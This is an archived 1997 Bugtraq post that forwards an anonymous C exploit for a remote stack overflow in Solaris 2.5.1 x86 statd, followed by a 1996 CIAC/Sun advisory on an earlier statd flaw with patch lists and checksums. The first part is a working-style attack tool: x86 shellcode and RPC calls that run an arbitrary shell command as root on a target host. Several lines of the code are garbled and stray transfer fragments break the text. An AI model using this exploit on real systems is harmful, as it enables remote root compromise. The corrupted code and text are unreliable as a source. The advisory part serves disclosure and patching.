Date: Mon, 24 Nov 1997 15:27:06 -0600
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Solaris 2.5.1 x86 statd exploit
>From an anonymous source:
--
/*
statd remote overflow, solaris 2.5.1 x86
there is a patch for statd in solaris 2.5, well, it looks like
they check only for '/' characters and they left overflow there ..
nah, it's solaris
usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"
# remember that statd is standalone daemon
Please do not distribute.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>
#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;
/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0
1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";
char code[4096];
void usage(char *s) {
printf("Usage: %s host [cmd]\n", s);
exit(0);
}
main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=strlen(nop);
char *ptr=code;
if (argc < 2)
usage(argv[0]);
if (argc == 3)
cmd[2]=argv[2];
for (i=0; i< sizeof(code); i++)
*ptr++=nop[i % noplen];
strcpy(&code[750], asmcode); /* XXX temp. */
ptr=code+strlen(code);
for (i=0; i<=strlen(cmd[0]); i++)
*ptr++=cmd[0][i]-1
ffb
;
for (i=0; i<=strlen(cmd[1]); i++)
*ptr++=cmd[1][i]-1;
for (i=0; i<=strlen(cmd[2]); i++)
*ptr++=cmd[2][i]-1;
ptr=code+BUFSIZE-(ADDRS<<2);
for (i=0; i<ADDRS; i++, ptr+=4)
*(int *)ptrDRP;
*ptr=0;
printf("strlen = %d\n", strlen(code));
memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name="localhost";
monreq.mon_id.my_id.my_prog=0;
monreq.mon_id.my_id.my_vers=0;
monreq.mon_id.my_id.my_proc=0;
monreq.mon_id.mon_name=code;
if ((hp=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family¯_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd=RPC_ANYSOCK;
tm.tv_sec;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat != RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}
----------------------------------------------------------------------------------
__________________________________________________________
The U.S. Department of Energy
Computer Incident Advisory Capability
___ __ __ _ ___
/ | /_\ /
\___ __|__ / \ \___
__________________________________________________________
INFORMATION BULLETIN
SUN statd Program Vulnerability
May 21, 1996 21:00 GMT Number G-25
______________________________________________________________________________
PROBLEM: rpc.statd fails to completely validate the information it
receives from rpc.lockd.
PLATFORM: Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x).
DAMAGE: A user can potentially remove and create files with root
privileges.
SOLUTION: Install the proper patches described below.
______________________________________________________________________________
VULNERABILITY No exploitations of this vulnerability has been reported. But,
ASSESSMENT: if it is exploited, a user can potentially remove or create any
file that the root user can create.
______________________________________________________________________________
CIAC has obtained information from Sun Microsystems pertaining to the statd
program vulnerability. This vulnerability has been previously addressed in
the CIAC G-22: rpc.statd Vulnerability Bulletin, issued on 22 Apr 96. CIAC
recommends that you install the proper patches described below.
[ Start of SUN Bulletin ]
============================================================================
SUN MICROSYSTEMS SECURITY BULLETIN: #00135, 21 May 1996
============================================================================
BULLETIN TOPICS
In this bulletin Sun announces the release of security-related patches
for both Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x). The
patches relate to a single vulnerability involving the statd program.
This vulnerability, which affects the products of several UNIX vendors,
has previously been discussed in CERT (sm) Advisory CA-96.09, issued on
24 Apr 96. As of this writing, Sun is aware of no successful attacks
based on this problem.
I. Who is Affected, and What to Do
II. Understanding the Vulnerability
III. List of Patches
IV. Checksum Table
APPENDICES
A. How to obtain Sun security patches
B. How to report or inquire about Sun security problems
C. How to obtain Sun security bulletins or short status updates
Send Replies or Inquiries To:
Mark Graff
Sun Security Coordinator
MS MPK17-103
2550 Garcia Avenue Mountain
View
ffb
, CA 94043-1100
Phone: 415-786-5274
Fax: 415-786-7994
E-mail: security-alert@Sun.COM
Sun acknowledges with thanks both the CERT Coordination Center (Carnegie
Mellon University) and Wolfgang Ley (of DFN/CERT) for their assistance
in the preparation of this bulletin.
Sun, CERT, and DFN/CERT are all members of FIRST, the Forum of Incident
Response and Security Teams. For more information about FIRST, visit
the FIRST web site at "http://www.first.org/". For information about
the upcoming 8th FIRST Conference and Workshop (Santa Clara, CA, July
28-31, 1996) see "http://ciac.llnl.gov/firstconf".
Keywords: statd, root, file_creation, file_deletion
Patchlist: 100988-05, 101592-07, 102516-04, 102769-03,
102770-03, 102932-02, 103468-01, 103469-01
Cross-Ref: CERT CA-96.09
-----------
Permission is granted for the redistribution of this Bulletin for
the purpose of alerting Sun customers to problems, as long as the
Bulletin is not edited and is attributed to Sun Microsystems.
Any other use of this information without the express written consent
of Sun Microsystems is prohibited. Sun Microsystems expressly disclaims
all liability for any misuse of this information by any third party.
============================================================================
SUN MICROSYSTEMS SECURITY BULLETIN: #00135, 21 May 1996
============================================================================
I. Who is Affected, and What to Do
Sun has verified that this vulnerability affects all supported Solaris
2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x) systems.
Installing and running the software provided in these patches
completely closes the vulnerability.
For information about how to obtain these and other Sun patches, see
Appendix A.
II. Understanding the Vulnerability
If exploited, this vulnerability can be used to remove any file that
the root user can remove or to create any file that the root user can
create. The security of a system could be completely compromised in
this way.
The following information, excerpted from the cited CERT(sm) advisory,
provides some details. (Note: statd is called "rpc.statd" on many
other UNIX systems.)
When an NFS server reboots, rpc.statd causes the previously held
locks to be recovered by notifying the NFS client lock daemons to
resubmit previously granted lock requests. If a lock daemon fails
to secure a previously granted lock on the NFS server, it sends
SIGLOST to the process that originally requested the file lock.
The vulnerability in rpc.statd is its lack of validation of the
information it receives from what is presumed to be the remote
rpc.lockd. Because rpc.statd normally runs as root and because it
does not validate this information, rpc.statd can be made to
remove or create any file that the root user can remove or create
on the NFS server.
III. List of Patches
The patches required to close this vulnerability are listed below.
A. Solaris 2.x (SunOS 5.x) patches
Patches which replace the affected statd executable are available
for every supported version of SunOS 5.x.
OS version Patch ID
---------- ---------
SunOS 5.3 102932-02
SunOS 5.4 102769-03
SunOS 5.4_X86 102770-03
SunOS 5.5 103468-01
SunOS 5.5_X86 103469-01
B. Solaris 1.x (SunOS 4.1.x) patches
For SunOS 4.1.x, the fix is supplied in a new version of the "UFS
file system and NFS locking" jumbo patch.
OS version Patch ID
---------- ---------
4.1.3 100988-05
SunOS 4.1.3_U1 101592-07
SunOS 4.1.4 102516-04
IV. Checksum Table
In the checksum table we show the BSD and SVR4 checksums and MD5 digital
signatures for the compressed tar archives.
File BSD SVR4 MD5
Name Checksum Checksum Digital Signature
--------------- ------
ffb
----- --------- --------------------------------
100988-05.tar.Z 10148 444 4116 888 ACE925E808A582D6CF9209FE7A51D23B
101592-07.tar.Z 21219 346 32757 692 7B7EE4BD5B2692249FDB9178746AA71B
102516-04.tar.Z 65418 201 61604 401 DB87F3DDA2F12FE2CFBB8B56874A1756
102769-03.tar.Z 38936 74 64202 148 9A8E4D9BE8C58FD532EE0E2140EF7F85
102770-03.tar.Z 04518 71 23051 141 F646E2B7AD66EEFBB32F6AB630796AF8
102932-02.tar.Z 34664 70 45816 139 66CB7F6AE48784A884BA658186268C41
103468-01.tar.Z 30917 82 46790 164 84680D9A0D2AEF62FFE1382C82684BE5
103469-01.tar.Z 31245 82 52288 164 F22AEB0FD91687DAB8ADC4DF10348DE8
The checksums shown above are from the BSD-based checksum (on 4.1.x,
/bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version on
on SunOS 5.x (/usr/bin/sum).
APPENDICES
A. How to obtain Sun security patches
1. If you have a support contract
Customers with Sun support contracts can obtain any patches listed
in this bulletin (and any other patches--and a list of patches) from:
- SunSolve Online
- Local Sun answer centers, worldwide
- SunSITEs worldwide
The patches are available via World Wide Web at http://sunsolve1.sun.com.
You should also contact your answer center if you have a support
contract and:
- You need assistance in installing a patch
- You need additional patches
- You want an existing patch ported to another platform
- You believe you have encountered a bug in a Sun patch
- You want to know if a patch exists, or when one will be ready
2. If you do not have a support contract
Customers without support contracts may now obtain security patches,
"recommended" patches, and patch lists via SunSolve Online.
Sun does not furnish patches to any external distribution sites
other than the ones mentioned here. The ftp.uu.net and ftp.eu.net
sites are no longer supported.
3. About the checksums
So that you can quickly verify the integrity of the patch files
themselves, we supply in each bulletin checksums for the tar archives.
Occasionally, you may find that the listed checksums do not match
the patches on the SunSolve or SunSite database. This does not
necessarily mean that the patch has been tampered with. More likely,
a non-substantive change (such as a revision to the README file)
has altered the checksum of the tar file. The SunSolve patch database
is refreshed nightly, and will sometimes contain versions of a patch
newer than the one on which the checksums were based.
In the future we may provide checksum information for the
individual components of a patch as well as the compressed archive
file. This would allow customers to determine, if need be, which
file(s) have been changed since we issued the bulletin containing
the checksums.
In the meantime, if you would like assistance in verifying the
integrity of a patch file please contact this office or your local
answer center.
B. How to report or inquire about Sun security problems
If you discover a security problem with Sun software or wish to
inquire about a possible problem, contact one or more of the
following:
- Your local Sun answer centers
- Your representative computer security response team, such as CERT
- This office. Address postal mail to:
Sun Security Coordinator
MS MPK17-103
2550 Garcia Avenue Mountain
View, CA 94043-1100
Phone: 415-786-5274
Fax: 415-786-7994
E-mail: security-alert@Sun.COM
We strongly recommend that you report problems to your local Answer
Center. In some cases they will accept a report of a security bug
even if you do not have a support contract. An additional notification
to the security-alert alias is suggested but should not be used as your
primary vehicle for reporting a bug.
C. How to obtain Sun security bulletins or short status updates
1.. Subscription information
ffb
Sun Security Bulletins are available free of charge as part of
our Customer Warning System. It is not necessary to have a Sun
support contract in order to receive them.
To receive information or to subscribe or unsubscribe from our
mailing list, send mail to security-alert@sun.com with a subject
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Subject Information Returned/Action Taken
------- ---------------------------------
HELP An explanation of how to get information
LIST A list of current security topics
QUERY [topic] The mail containing the question is relayed to
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REPORT [topic] The mail containing the text is treated as a
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Due to the volume of subscription requests we receive, we cannot
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2. Obtaining old bulletins
Sun Security Bulletins are available via the security-alert alias
and on SunSolve. Please try these sources first before contacting
this office for old bulletins.
------------
[ End of SUN Bulletin ]
_______________________________________________________________________________
CIAC wishes to acknowledge the contributions of Sun Microsystems for the
information contained in this bulletin.
_______________________________________________________________________________
CIAC, the Computer Incident Advisory Capability, is the computer
security incident response team for the U.S. Department of Energy
(DOE) and the emergency backup response team for the National
Institutes of Health (NIH). CIAC is located at the Lawrence Livermore
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global organization established to foster cooperation and coordination
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can be contacted at:
Voice: +1 510-422-8193
FAX: +1 510-423-8002
STU-III: +1 510-423-2604
E-mail: ciac@llnl.gov
For emergencies and off-hour assistance, DOE, DOE contractor sites,
and the NIH may contact CIAC 24-hours a day. During off hours (5PM -
8AM PST), call the CIAC voice number 510-422-8193 and leave a message,
or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two
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duty person, and the secondary PIN number, 8550074 is for the CIAC
Project Leader.
Previous CIAC not
ffb
ices, anti-virus software, and other information are
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This document was prepared as an account of work sponsored by an
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LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC)
G-15: Sunsoft Demo CD Vulnerability
G-16: SGI rpc.statd Program Security Vulnerabilities
G-17: Vulnerabilities in Sample HTTPD CGIs
G-18: Digital OSF/1 dxconsole Security Vulnerability
G-19: IBM AIX rmail Vulnerability
G-20: Vulnerability in NCSA and Apache httpd Servers
G-21: Vulnerabilities in PCNFSD Program
G-22: rpc.statd Vulnerability
G-23: Solaris NIS+ Configuration Vulnerability
G-24: FreeBSD Security Vulnerabilities
RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC)
Notes 07 - 3/29/95 A comprehensive review of SATAN
Notes 08 - 4/4/95 A Courtney update
Notes 09 - 4/24/95 More on the "Good Times" virus urban legend
Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability
in S/Key, EBOLA Virus Hoax, and Caibua Virus
Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators,
America On-Line Virus Scare, SPI 3.2.2 Releas
879
ed,
The Die_Hard Virus
Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X
Windows, beta release of Merlin, Microsoft Word
Macro Viruses, Allegations of Inappropriate Data
Collection in Win95
Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST
Conference Announcement, Security and Web Search
Engines, Microsoft Word Macro Virus Update
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